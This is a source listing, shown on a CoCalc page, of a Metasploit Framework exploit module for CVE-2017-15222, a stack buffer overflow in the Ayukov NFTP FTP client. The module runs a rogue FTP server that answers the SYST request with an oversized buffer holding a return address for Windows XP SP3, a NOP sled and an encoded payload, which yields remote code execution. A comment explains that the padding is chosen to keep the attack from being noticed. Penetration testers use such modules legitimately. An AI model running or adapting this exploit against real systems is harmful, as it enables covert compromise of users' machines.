Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/ayukov_nftp.rb
19715 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::TcpServer
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Ayukov NFTP FTP Client Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack-based buffer overflow vulnerability against Ayukov NFTPD FTP
18
Client 2.0 and earlier. By responding with a long string of data for the SYST request, it
19
is possible to cause a denail-of-service condition on the FTP client, or arbitrary remote
20
code exeuction under the context of the user if successfully exploited.
21
},
22
'Author' => [
23
'Berk Cem Goksel', # Original exploit author
24
'Daniel Teixeira', # MSF module author
25
'sinn3r' # RCA, improved module reliability and user exp
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
[ 'CVE', '2017-15222'],
30
[ 'EDB', '43025' ],
31
],
32
'Payload' => {
33
'BadChars' => "\x00\x01\x0a\x10\x0d",
34
'StackAdjustment' => -3500
35
},
36
'Platform' => 'win',
37
'Targets' => [
38
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77f31d2f } ], # GDI32.dll v5.1.2600.5512
39
],
40
'Privileged' => false,
41
'DefaultOptions' => {
42
'SRVHOST' => '0.0.0.0',
43
},
44
'DisclosureDate' => '2017-10-21',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
54
register_options(
55
[
56
OptPort.new('SRVPORT', [ true, "The FTP port to listen on", 21 ]),
57
]
58
)
59
end
60
61
def exploit
62
srv_ip_for_client = datastore['SRVHOST']
63
if srv_ip_for_client == '0.0.0.0'
64
if datastore['LHOST']
65
srv_ip_for_client = datastore['LHOST']
66
else
67
srv_ip_for_client = Rex::Socket.source_address('50.50.50.50')
68
end
69
end
70
71
srv_port = datastore['SRVPORT']
72
73
print_status("Please ask your target(s) to connect to #{srv_ip_for_client}:#{srv_port}")
74
super
75
end
76
77
def on_client_connect(client)
78
return if ((p = regenerate_payload(client)) == nil)
79
80
print_status("#{client.peerhost} - connected")
81
82
# Let the client log in
83
client.get_once
84
85
print_status("#{client.peerhost} - sending 331 OK")
86
user = "331 OK.\r\n"
87
client.put(user)
88
89
client.get_once
90
print_status("#{client.peerhost} - sending 230 OK")
91
pass = "230 OK.\r\n"
92
client.put(pass)
93
94
# It is important to use 0x20 (space) as the first chunk of the buffer, because this chunk
95
# is visible from the user's command prompt, which would make the buffer overflow attack too
96
# obvious.
97
sploit = "\x20" * 4116
98
99
sploit << [target.ret].pack('V')
100
sploit << make_nops(10)
101
sploit << payload.encoded
102
sploit << Rex::Text.rand_text(15000 - 4116 - 4 - 16 - payload.encoded.length, payload_badchars)
103
sploit << "\r\n"
104
105
print_status("#{client.peerhost} - sending the malicious response")
106
client.put(sploit)
107
108
client.get_once
109
pwd = "257\r\n"
110
client.put(pwd)
111
client.get_once
112
end
113
end
114
115